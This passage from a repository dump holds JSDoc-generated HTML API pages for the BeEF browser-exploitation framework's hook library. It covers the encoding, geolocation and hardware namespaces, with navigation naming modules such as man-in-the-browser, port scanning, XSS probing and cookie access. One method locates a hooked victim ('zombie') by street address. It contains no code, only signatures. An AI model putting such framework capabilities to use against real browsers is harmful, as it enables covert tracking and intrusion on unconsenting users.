href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.encode.base64.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: base64</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: base64</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>base64</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"encode_base64.js.html\">encode/base64.js</a>, <a href=\"encode_base64.js.html#line11\">line 11</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".decode\"><span class=\"type-signature\">(static) </span>decode<span class=\"signature\">(input)</span><span class=\"type-signature\"> &rarr; {string}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>input</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">string</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"encode_base64.js.html\">encode/base64.js</a>, <a href=\"encode_base64.js.html#line65\">line 65</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">string</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".encode\"><span class=\"type-signature\">(static) </span>encode<span class=\"signature\">(input)</span><span class=\"type-signature\"> &rarr; {string}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>input</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">string</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"encode_base64.js.html\">encode/base64.js</a>, <a href=\"encode_base64.js.html#line23\">line 23</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">string</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".utf8_decode\"><span class=\"type-signature\">(static) </span>utf8_decode<span class=\"signature\">(utftext)</span><span class=\"type-signature\"> &rarr; {string}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>utftext</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">string</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"encode_base64.js.html\">encode/base64.js</a>, <a href=\"encode_base64.js.html#line140\">line 140</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">string</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".utf8_encode\"><span class=\"type-signature\">(static) </span>utf8_encode<span class=\"signature\">(string)</span><span class=\"type-signature\"> &rarr; {string}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>string</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">string</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"encode_base64.js.html\">encode/base64.js</a>, <a href=\"encode_base64.js.html#line110\">line 110</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">string</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.encode.json.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: json</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: json</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>json</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"encode_json.js.html\">encode/json.js</a>, <a href=\"encode_json.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".quoteString\"><span class=\"type-signature\">(static) </span>quoteString<span class=\"signature\">(string)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>string</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"encode_json.js.html\">encode/json.js</a>, <a href=\"encode_json.js.html#line110\">line 110</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".stringify\"><span class=\"type-signature\">(static) </span>stringify<span class=\"signature\">(o)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>o</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"encode_json.js.html\">encode/json.js</a>, <a href=\"encode_json.js.html#line17\">line 17</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.geolocation.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: geolocation</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: geolocation</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>geolocation</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Provides functionalities to use the geolocation API.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"geolocation.js.html\">geolocation.js</a>, <a href=\"geolocation.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getGeolocation\"><span class=\"type-signature\">(static) </span>getGeolocation<span class=\"signature\">(command_url, command_id)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Retrieve latitude/longitude using the geolocation API</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>command_url</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>command_id</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"geolocation.js.html\">geolocation.js</a>, <a href=\"geolocation.js.html#line69\">line 69</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getOpenStreetMapAddress\"><span class=\"type-signature\">(static) </span>getOpenStreetMapAddress<span class=\"signature\">(command_url, command_id, latitude, longitude)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Given latitude/longitude retrieves exact street position of the zombie</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>command_url</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>command_id</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>latitude</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>longitude</code></td>\n            \n\n            <td class=\"type\">\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"geolocation.js.html\">geolocation.js</a>, <a href=\"geolocation.js.html#line29\">line 29</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isGeolocationEnabled\"><span class=\"type-signature\">(static) </span>isGeolocationEnabled<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Check if browser supports the geolocation API</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"geolocation.js.html\">geolocation.js</a>, <a href=\"geolocation.js.html#line18\">line 18</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.hardware.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: hardware</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: hardware</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>hardware</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getBatteryDetails\"><span class=\"type-signature\">(static) </span>getBatteryDetails<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Object}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns battery details</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line126\">line 126</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Object</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getCpuArch\"><span class=\"type-signature\">(static) </span>getCpuArch<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line18\">line 18</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>CPU type</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getCpuCores\"><span class=\"type-signature\">(static) </span>getCpuCores<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns number of CPU cores</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line48\">line 48</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getCpuDetails\"><span class=\"type-signature\">(static) </span>getCpuDetails<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns CPU details</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl 